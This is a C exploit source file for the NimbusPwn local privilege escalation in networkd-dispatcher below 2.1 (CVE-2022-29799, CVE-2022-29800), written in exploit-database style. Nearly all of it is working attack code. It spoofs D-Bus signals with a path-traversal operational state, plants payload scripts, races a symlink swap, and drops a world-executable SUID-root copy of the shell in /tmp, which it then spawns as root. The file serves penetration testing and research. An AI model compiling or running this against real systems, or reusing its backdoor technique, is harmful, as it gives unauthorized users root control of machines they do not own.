// Exploit Title: networkd-dispatcher < 2.1 - Local Privilege Escalation (NimbusPwn) // Date: 2026-06-17 // Exploit Author: Joshua van der Poll (https://github.com/joshuavanderpoll) // Vendor Homepage: https://gitlab.com/craftyguy/networkd-dispatcher // Software Link: https://gitlab.com/craftyguy/networkd-dispatcher/-/archive/2.0/networkd-dispatcher-2.0.tar.gz // Version: < 2.1 (tested on 2.0) // Tested on: Ubuntu 20.04.6 LTS (Docker) // CVE: CVE-2022-29799, CVE-2022-29800 // // Impact: an unprivileged local user gets a root shell. networkd-dispatcher does // not sanitize the OperationalState it receives over D-Bus (CVE-2022-29799, path // traversal); combined with a symlink TOCTOU on the script directory // (CVE-2022-29800) the root daemon executes attacker-controlled scripts. // // Build: cc nimbuspwn.c -o nimbuspwn $(pkg-config --cflags --libs dbus-1) // Run: ./nimbuspwn [--check] [-s SHELL] unprivileged user, authorized targets only #include #include #include #include #include #include #include #include #include #include #define BUS_NAME "org.freedesktop.network1" #define OBJ_PATH "/org/freedesktop/network1/link/_32" #define PROP_IFACE "org.freedesktop.DBus.Properties" #define LINK_IFACE "org.freedesktop.network1.Link" #define SBIN "/sbin" #define DST "/tmp/sh" #define ATTEMPTS 10 #define CLR_RED "\033[91m" #define CLR_GRN "\033[92m" #define CLR_YEL "\033[93m" #define CLR_BLU "\033[94m" #define CLR_PNK "\033[95m" #define CLR_CYN "\033[96m" #define CLR_BLD "\033[1m" #define CLR_RST "\033[0m" #define REPO \ "https://github.com/joshuavanderpoll/NimbusPWN-CVE-2022-29799-29800" #define P_ERR CLR_RED "[-] " #define P_OK CLR_GRN "[+] " #define P_ASK CLR_YEL "[?] " #define P_INFO CLR_BLU "[*] " #define P_PROC CLR_CYN "[@] " // Only the shell path tends to differ between hosts. static const char *g_shell = "/bin/sh"; static char PAYLOAD[512]; // Drop a SUID-root copy of the shell so we can re-enter as root. static void build_payload(void) { snprintf(PAYLOAD, sizeof PAYLOAD, "#!/bin/sh\n" "cp %s %s\n" "chmod 4777 %s\n", g_shell, DST, DST); } static const char *base_name(const char *path) { const char *slash = strrchr(path, '/'); return slash ? slash + 1 : path; } // Grab the well-known name. If it is already owned, the host is not vulnerable. static DBusConnection *claim_bus(void) { DBusError err; dbus_error_init(&err); DBusConnection *conn = dbus_bus_get(DBUS_BUS_SYSTEM, &err); if (dbus_error_is_set(&err)) { fprintf(stderr, P_ERR "system bus: %s" CLR_RST "\n", err.message); dbus_error_free(&err); return NULL; } int r = dbus_bus_request_name(conn, BUS_NAME, DBUS_NAME_FLAG_DO_NOT_QUEUE, &err); if (dbus_error_is_set(&err)) { fprintf(stderr, P_ERR "request_name: %s" CLR_RST "\n", err.message); dbus_error_free(&err); return NULL; } if (r != DBUS_REQUEST_NAME_REPLY_PRIMARY_OWNER) { fprintf(stderr, P_ERR "could not own %s (taken? not vulnerable)" CLR_RST "\n", BUS_NAME); return NULL; } printf(P_OK "owned %s" CLR_RST "\n", BUS_NAME); return conn; } // Non-breaking check: owning the name is the NimbusPwn precondition. We claim // it, report, and release it again without planting payloads or racing. static int check_target(void) { DBusConnection *conn = claim_bus(); if (!conn) { printf(P_INFO "verdict: not vulnerable" CLR_RST "\n"); return 1; } printf( P_OK "verdict: likely vulnerable (%s is claimable, no privesc tried)" CLR_RST "\n", BUS_NAME); dbus_bus_release_name(conn, BUS_NAME, NULL); return 0; } // Emit PropertiesChanged (sa{sv}as) with the traversal string as // OperationalState. That string is what the daemon fails to sanitize. static int send_signal(DBusConnection *conn, const char *state) { DBusMessage *msg = dbus_message_new_signal(OBJ_PATH, PROP_IFACE, "PropertiesChanged"); if (!msg) { fprintf(stderr, P_ERR "new_signal failed" CLR_RST "\n"); return -1; } DBusMessageIter args, dict, entry, var, arr; dbus_message_iter_init_append(msg, &args); const char *iface = LINK_IFACE; dbus_message_iter_append_basic(&args, DBUS_TYPE_STRING, &iface); dbus_message_iter_open_container(&args, DBUS_TYPE_ARRAY, "{sv}", &dict); dbus_message_iter_open_container(&dict, DBUS_TYPE_DICT_ENTRY, NULL, &entry); const char *key = "OperationalState"; dbus_message_iter_append_basic(&entry, DBUS_TYPE_STRING, &key); dbus_message_iter_open_container(&entry, DBUS_TYPE_VARIANT, "s", &var); dbus_message_iter_append_basic(&var, DBUS_TYPE_STRING, &state); dbus_message_iter_close_container(&entry, &var); dbus_message_iter_close_container(&dict, &entry); dbus_message_iter_close_container(&args, &dict); dbus_message_iter_open_container(&args, DBUS_TYPE_ARRAY, "s", &arr); dbus_message_iter_close_container(&args, &arr); dbus_uint32_t serial = 0; if (!dbus_connection_send(conn, msg, &serial)) { fprintf(stderr, P_ERR "send failed" CLR_RST "\n"); dbus_message_unref(msg); return -1; } dbus_connection_flush(conn); dbus_message_unref(msg); printf(P_INFO "signal sent (serial %u)" CLR_RST "\n", serial); return 0; } // Point poc.d at /sbin so the daemon's root-owned check passes, then plant a // payload named after every root-owned binary it will find there. static int prepare_dir(const char *base) { if (mkdir(base, 0755) != 0) { perror("mkdir"); return -1; } char link[512]; snprintf(link, sizeof link, "%s/poc.d", base); if (symlink(SBIN, link) != 0) { perror("symlink /sbin"); return -1; } DIR *d = opendir(SBIN); if (!d) { perror("opendir /sbin"); return -1; } struct dirent *de; int planted = 0; while ((de = readdir(d)) != NULL) { char full[1024]; snprintf(full, sizeof full, "%s/%s", SBIN, de->d_name); struct stat st; if (stat(full, &st) != 0) continue; if (!S_ISREG(st.st_mode)) continue; if (st.st_uid != 0) continue; if (access(full, X_OK) != 0) continue; char dst[1024]; snprintf(dst, sizeof dst, "%s/%s", base, de->d_name); int fd = open(dst, O_WRONLY | O_CREAT | O_TRUNC, 0777); if (fd < 0) continue; write(fd, PAYLOAD, strlen(PAYLOAD)); close(fd); chmod(dst, 0777); planted++; } closedir(d); printf(P_OK "planted %d payloads (root-owned /sbin execs) in %s" CLR_RST "\n", planted, base); return 0; } // Flip poc.d from /sbin to our payloads. This is the TOCTOU window. static int swap_symlink(const char *base) { char link[512]; snprintf(link, sizeof link, "%s/poc.d", base); unlink(link); if (symlink(base, link) != 0) { perror("symlink swap"); return -1; } return 0; } static void cleanup(const char *base) { char cmd[600]; snprintf(cmd, sizeof cmd, "rm -rf %s", base); system(cmd); } static void usage(const char *prog) { fprintf( stderr, "Usage: %s [-c] [-s SHELL] [-h]\n" " -c, --check non-breaking vuln check, no exploitation\n" " -s, --shell SHELL shell to SUID-copy and spawn as root (default " "%s)\n" " -h, --help show this help\n", prog, g_shell); } int main(int argc, char **argv) { printf(CLR_PNK CLR_BLD REPO CLR_RST "\n"); static struct option long_opts[] = {{"check", no_argument, 0, 'c'}, {"shell", required_argument, 0, 's'}, {"help", no_argument, 0, 'h'}, {0, 0, 0, 0}}; int check_mode = 0; int opt; while ((opt = getopt_long(argc, argv, "cs:h", long_opts, NULL)) != -1) { switch (opt) { case 'c': check_mode = 1; break; case 's': g_shell = optarg; break; case 'h': usage(argv[0]); return 0; default: usage(argv[0]); return 1; } } if (check_mode) return check_target(); if (access(g_shell, X_OK) != 0) { fprintf(stderr, P_ERR "shell %s not executable, try -s" CLR_RST "\n", g_shell); return 1; } build_payload(); printf(P_INFO "shell=%s drop=%s attempts=%d" CLR_RST "\n", g_shell, DST, ATTEMPTS); srand((unsigned)time(NULL) ^ getpid()); DBusConnection *conn = claim_bus(); if (!conn) return 1; for (int attempt = 1; attempt <= ATTEMPTS; attempt++) { char base[256]; snprintf(base, sizeof base, "/tmp/nimbuspwn_%d", rand() % 100000); printf(P_PROC "attempt %d (%s)" CLR_RST "\n", attempt, base); if (prepare_dir(base) != 0) { cleanup(base); continue; } // ../../.. climbs out of /etc/networkd-dispatcher back to our base, // so .d resolves to base/poc.d (the symlink we control). char state[320]; snprintf(state, sizeof state, "../../..%s/poc", base); printf(P_INFO "OperationalState: %s" CLR_RST "\n", state); if (send_signal(conn, state) != 0) { cleanup(base); continue; } // give the daemon a moment to start enumerating /sbin usleep(100 * 1000); swap_symlink(base); printf(P_PROC "symlink swapped, waiting for root exec" CLR_RST "\n"); sleep(4); if (access(DST, F_OK) == 0) { printf(P_OK "root backdoor at %s, spawning shell" CLR_RST "\n", DST); cleanup(base); printf(CLR_YEL "⭐ If this tool helped you, consider starring the " "repo: " CLR_BLD CLR_YEL REPO CLR_RST "\n"); fflush(stdout); // -p keeps euid=0 instead of dropping back to our uid execl(DST, base_name(g_shell), "-p", (char *)NULL); perror("execl"); return 0; } cleanup(base); } fprintf(stderr, P_ERR "all attempts failed (patched or not vulnerable)" CLR_RST "\n"); return 1; }